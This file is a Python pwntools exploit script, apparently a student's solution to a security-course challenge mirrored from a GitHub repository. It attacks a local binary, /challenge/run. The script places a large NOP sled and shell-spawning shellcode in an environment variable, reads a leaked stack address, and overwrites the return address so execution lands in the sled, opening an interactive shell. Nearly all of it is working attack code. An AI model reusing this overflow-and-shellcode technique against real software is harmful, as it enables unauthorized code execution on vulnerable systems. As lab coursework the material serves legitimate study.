mirror of
https://github.com/20kaushik02/CSE545_SS_Work.git
synced 2025-12-06 06:14:08 +00:00
66 lines
1.7 KiB
Python
66 lines
1.7 KiB
Python
#!/usr/bin/env python3
|
|
# -*- coding: utf-8 -*-
|
|
# This exploit template was generated via:
|
|
# $ pwn template /challenge/run
|
|
import os
|
|
from pwn import *
|
|
|
|
# Set up pwntools for the correct architecture
|
|
exe = context.binary = ELF(args.EXE or '/challenge/run')
|
|
|
|
# Many built-in settings can be controlled on the command-line and show up
|
|
# in "args". For example, to dump all data sent/received, and disable ASLR
|
|
# for all created processes...
|
|
# ./exploit.py DEBUG NOASLR
|
|
|
|
|
|
|
|
def start(argv=[], *a, **kw):
|
|
'''Start the exploit against the target.'''
|
|
if args.GDB:
|
|
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
|
|
else:
|
|
return process([exe.path] + argv, *a, **kw)
|
|
|
|
# Specify your GDB script here for debugging
|
|
# GDB will be launched if the exploit is run via e.g.
|
|
# ./exploit.py GDB
|
|
gdbscript = '''
|
|
tbreak main
|
|
continue
|
|
'''.format(**locals())
|
|
|
|
#===========================================================
|
|
# EXPLOIT GOES HERE
|
|
#===========================================================
|
|
# Arch: amd64-64-little
|
|
# RELRO: No RELRO
|
|
# Stack: No canary found
|
|
# NX: NX unknown - GNU_STACK missing
|
|
# PIE: No PIE (0x400000)
|
|
# Stack: Executable
|
|
# RWX: Has RWX segments
|
|
|
|
# NOP sled with comfortable room for error
|
|
sled_len = 0x5000
|
|
nop_sled = b"\x90" * sled_len
|
|
|
|
shellcode = asm(shellcraft.sh())
|
|
|
|
payload = nop_sled + shellcode
|
|
|
|
io = start(["testing"], env={"SHELLCODE_CMD": payload})
|
|
|
|
io.recvuntil(b"for you: ")
|
|
rsp_line = io.recvline()[:-1]
|
|
rsp_hex = int(rsp_line, 16)
|
|
print("Received rsp address:", rsp_line)
|
|
|
|
target_shellcode_sled = rsp_hex + sled_len
|
|
|
|
final_payload = p64(target_shellcode_sled) * 0x34 # why does normal padding not work here?
|
|
|
|
io.sendline(final_payload)
|
|
|
|
io.interactive()
|